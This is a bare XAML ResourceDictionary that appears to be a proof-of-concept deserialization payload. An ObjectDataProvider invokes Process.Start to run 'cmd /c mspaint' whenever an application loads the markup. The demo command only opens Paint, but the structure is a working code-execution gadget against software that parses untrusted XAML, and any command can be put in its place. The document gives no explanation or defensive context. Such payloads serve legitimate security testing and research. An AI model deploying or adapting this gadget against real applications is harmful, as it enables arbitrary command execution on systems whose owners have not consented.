<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:System="clr-namespace:System;assembly=mscorlib" 
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
     <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>"/c mspaint"</System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>